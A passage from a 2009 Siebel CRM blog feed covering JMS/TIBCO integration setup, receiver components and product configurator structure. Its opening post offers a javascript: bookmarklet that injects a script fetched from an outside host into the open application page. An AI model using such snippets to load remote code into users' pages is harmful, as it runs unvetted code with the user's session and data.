&lt;textarea style="WIDTH: 500px; HEIGHT: 44px" rows="1" cols="21"&gt;javascript:d=document;c=d.createElement('script');d.body.appendChild(c);c.src='http://siebel.limewebs.com/siebel.js';editprofile(0);void(0);&lt;/textarea&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8531650369937741306-7107187276516977795?l=exploringsiebel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploringsiebel.blogspot.com/feeds/7107187276516977795/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8531650369937741306&amp;postID=7107187276516977795&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/7107187276516977795'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/7107187276516977795'/><link rel='alternate' type='text/html' href='http://exploringsiebel.blogspot.com/2009/07/browser-script-on-fly.html' title='Browser Script on fly!'/><author><name>Tejeshwer</name><uri>http://www.blogger.com/profile/04153617094899750988</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8531650369937741306.post-2037269169748343668</id><published>2009-07-24T19:17:00.000-07:00</published><updated>2009-08-29T01:01:58.015-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Siebel EAI'/><title type='text'>Receiving messages from JMS server</title><content type='html'>&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;In &lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;JMS&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt; Integration, External System and &lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Siebel&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt; doesn't send messages directly to each other. First the messages are placed on queues of the &lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;JMS&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt; Server, receiver system queries these queues for new messages when required.&lt;/span&gt;&lt;/span&gt; &lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;For such and implementation &lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;siebel&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt; provides out of the box receiver server &lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;components, that are needed to be configured according to our requirements. &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;This &lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;receiver&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt; component executes the &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="FONT-WEIGHT: bold"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;ReceiveDispatch&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt; or &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="FONT-WEIGHT: bold"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;ReceiveDispatchSend&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt; method of &lt;/span&gt;&lt;span class="Apple-style-span" style="FONT-WEIGHT: bold"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;EAI&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt; &lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;JMS&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt; Transport&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt; business service to get new message from queue.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;These methods queries the &lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;JMS&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt; Server and checks in the queue for any new messages. If any message is found, this component invokes a &lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;workflow&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt; specified, and passes the received XML as input argument.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family:Arial;"&gt;&lt;/span&gt; &lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;The name of the workflow is specified in the &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="FONT-WEIGHT: bold"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Data handling subsystem&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt; which is of type&lt;/span&gt;&lt;span class="Apple-style-span" style="FONT-WEIGHT: bold"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="FONT-WEIGHT: bold"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;EAITransportDataHandlingSubsys&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;. &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Queue information is stored in &lt;/span&gt;&lt;span class="Apple-style-span" style="FONT-WEIGHT: bold"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Receiver Connection Subsystem&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt; that includes the queue name and the credentials. &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family:Arial;"&gt;&lt;/span&gt; &lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Wrap up:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="FONT-WEIGHT: bold"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Receicver&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt; component (Type &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:Georgia;"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="FONT-WEIGHT: bold"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Enterprise Application Integration Receiver&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="FONT-WEIGHT: bold"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;) requires:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;1. Receiver Method Name (&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;ReceiveDispatch&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;/&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;ReceiveDispatchSend&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;2. Receiver Service Name (&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;EAI&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt; &lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;JMS&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt; Transport)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;3. Receiver Connection Subsystem (Contains queue name and credentials)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;4. Receiver Data Handling &lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Subsyst&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt; (Contains &lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;reveive&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt; &lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;workflow&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt; name.)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8531650369937741306-2037269169748343668?l=exploringsiebel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploringsiebel.blogspot.com/feeds/2037269169748343668/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8531650369937741306&amp;postID=2037269169748343668&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/2037269169748343668'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/2037269169748343668'/><link rel='alternate' type='text/html' href='http://exploringsiebel.blogspot.com/2009/07/receiving-messages-from-jms-server.html' title='Receiving messages from JMS server'/><author><name>Tejeshwer</name><uri>http://www.blogger.com/profile/04153617094899750988</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8531650369937741306.post-5463617470161834937</id><published>2009-07-24T17:23:00.000-07:00</published><updated>2009-07-24T19:26:25.519-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Siebel EAI'/><title type='text'>Setting up Siebel and JMS Integration!</title><content type='html'>&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Recently i attended a knowledge transfer session of EAI.  I learn few thing, that i think are worth sharing. In this project all the interfaces were built on JMS queues, provided by TIBCO.&lt;/span&gt;&lt;/span&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;One must not get confused with &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;TIBCO &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Integration platform and &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;JMS&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;. TIBCO is a provider that have two products, one with JMS queues and other with TIBCO propriety protocol.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;I am listing the tasks that are required to setup JMS queues so that your workflow can send /receive messages from the JMS server.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Steps required for sending asynchronous messages&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;1. Install &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;JRE&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt; on all the siebel servers that runs object mangers and policy components.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;2. Collect Api in from or &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;jar&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt; files from the provider of JMS and place it in a shared location&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;3. &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;JNDI &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;properties file (this file contains the location and credentials of the JMS sever)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;typical JNDI file will look like:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;java.naming.factory.initial=com.tibco.tibjms.naming.TibjmsInitialContextFactory&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;java.naming.provider.url=tcp://ipaddress:port,tcp://fallback-ip address:port&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;java.naming.security.principal=&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;username&gt;&lt;/username&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;java.naming.security.credentials=&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;password&gt;&lt;/password&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;4. &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Java Named subsystem&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt; (type &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style=" "&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;JVMSubSys&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style=" "&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;)this information provides link between Siebel and the Java installed in the system.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Thus it requires information of the Java API that is &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;java.dll&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;. Which was installed as a part of Step 1.  And the location of the the jar files in the &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style=" font-weight: bold; "&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;CLASSPATH &lt;/span&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;parameter.Additionally for debugging purposses we can provide the log file path in &lt;/span&gt;&lt;span class="Apple-style-span"  style=" font-weight: bold; font-family:'Times New Roman';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;VMOPTIONS&lt;/span&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt; parameter.&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style=" ;font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;After this much configuration in siebel you can use the &lt;/span&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;EAI JMS Trasport&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt; business service only to send  messages accross the JMS server.(Dont forget to send queue information and credentials as arguments)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Coming up! Receiving messages from JMS server&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8531650369937741306-5463617470161834937?l=exploringsiebel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploringsiebel.blogspot.com/feeds/5463617470161834937/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8531650369937741306&amp;postID=5463617470161834937&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/5463617470161834937'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/5463617470161834937'/><link rel='alternate' type='text/html' href='http://exploringsiebel.blogspot.com/2009/07/setting-up-siebel-and-jms-integration.html' title='Setting up Siebel and JMS Integration!'/><author><name>Tejeshwer</name><uri>http://www.blogger.com/profile/04153617094899750988</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8531650369937741306.post-5774229589761282637</id><published>2009-07-15T08:32:00.001-07:00</published><updated>2009-07-15T09:15:05.742-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Product Configurator'/><title type='text'>Structure of Siebel Products</title><content type='html'>Before starting with the creation of siebel products , one should be familiar with the strucutre of products.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;a href="http://1.bp.blogspot.com/_mJfGtfR_Zdc/Sl38lMZZXzI/AAAAAAAAAB8/FOJTGavQLjg/s1600-h/1.JPG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5358716847553863474" style="DISPLAY: block; MARGIN: 0px auto 10px; WIDTH: 400px; CURSOR: hand; HEIGHT: 325px; TEXT-ALIGN: center" alt="" src="http://1.bp.blogspot.com/_mJfGtfR_Zdc/Sl38lMZZXzI/AAAAAAAAAB8/FOJTGavQLjg/s400/1.JPG" border="0" /&gt;&lt;/a&gt;I have tried to depict it as a diagram. A product modelled in siebel is composed of Attributes &lt;span style="color:#999999;"&gt;(which are inherited from the product classes)&lt;/span&gt; and child products that have thier own set of attrbutes and can have their grand child products also.&lt;br /&gt;&lt;br /&gt;This whole structure is created using products relationships and classes. Scripts and Constraints control the way the user can select the product and order it.&lt;br /&gt;&lt;br /&gt;At first look it seems to be very simple. But it needs lots of configuration to show a product inside the configurator and enforce all the business rules in it. &lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;I will take an example of an a dummy product and show how to configure it from modelling to Displaying it on UI in my coming posts.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8531650369937741306-5774229589761282637?l=exploringsiebel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploringsiebel.blogspot.com/feeds/5774229589761282637/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8531650369937741306&amp;postID=5774229589761282637&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/5774229589761282637'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/5774229589761282637'/><link rel='alternate' type='text/html' href='http://exploringsiebel.blogspot.com/2009/07/structure-of-siebel-products.html' title='Structure of Siebel Products'/><author><name>Tejeshwer</name><uri>http://www.blogger.com/profile/04153617094899750988</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_mJfGtfR_Zdc/Sl38lMZZXzI/AAAAAAAAAB8/FOJTGavQLjg/s72-c/1.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8531650369937741306.post-4360022164370915996</id><published>2009-07-12T07:00:00.000-07:00</published><updated>2009-07-12T07:18:01.902-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Product Configurator'/><title type='text'>Exploring Siebel Product Configurator</title><content type='html'>Siebel with version 7.x drastically changed Order Management and product Configurator by introducing a new GUI based Product Configurator and catalog management processes.&lt;br /&gt;&lt;br /&gt;For those who are completely unaware of this new terminology should look at &lt;a href="http://siebelunleashed.com/siebel-product-configurator-–-part-1/"&gt;Neel’s Blog &lt;/a&gt;for a beautiful explanation. It is basically a tool that is built inside the Siebel that allows users to configure the product using graphical interface. It enables user to configure the products based on business rules and moreover the product 